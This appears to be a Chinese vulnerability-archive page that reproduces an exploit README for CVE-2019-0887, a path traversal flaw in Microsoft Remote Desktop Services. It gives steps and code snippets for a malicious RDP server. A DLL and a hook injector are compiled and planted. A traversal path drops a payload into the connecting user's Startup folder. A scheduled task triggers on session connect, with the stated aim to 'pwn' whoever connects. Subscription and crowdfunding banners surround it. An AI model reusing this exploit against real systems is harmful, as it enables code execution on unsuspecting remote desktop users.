目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2019-0887 PoC — Microsoft Remote Desktop Services 路径遍历漏洞

来源
关联漏洞
标题: Microsoft Remote Desktop Services 路径遍历漏洞 (CVE-2019-0887)
Description:Microsoft Windows是美国微软(Microsoft)公司的一套个人设备使用的操作系统。 Microsoft Remote Desktop Services中存在路径遍历漏洞。攻击者可利用该漏洞在用户受影响系统上执行任意代码。以下产品及版本受到影响:Microsoft Windows 10版本,Windows 10版本1607,Windows 10版本1703,Windows 10版本1709,Windows 10版本1803,Windows 10版本1809,Windows 10版本1903
Description
exp for CVE-2019-0887
介绍
# CVE-2019-0887

Compile the CVE-2019-0887, rename to `winhlp.dll`

Compile the Install_Hook, rename to `hook.exe`

> be careful, they must be compile with x64

Put then into the evil system just like that
```bash
c:\windows\hook.exe
c:\windows\winhlp.dll

c:\windows\winhlp64.exe # something evil 
```

if somebody want to change the path, there is the point
```bash
# CVE-2019-0887/dllmain.cpp
WCHAR  evalfile[] = { L"C:\\windows\\winhlp64.exe" };
WCHAR  efile[] = { L"C:\\windows\\system32\\..\\..\\..\\..\\..\\../AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/winhlp32.exe" };

# Install_Hook/ConsoleApplication.cpp
LoadDll(pid, "C:\\Windows\\winhlp.dll");
```

Maybe use taskschd.msc to create a Task Plan, set a Trigger "On connection to user session" and set the filepath of hook.exe.

Waiting some guys connect to my evil system, copy something, and pwn...

> Tips: Why not use DLL hijack?
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →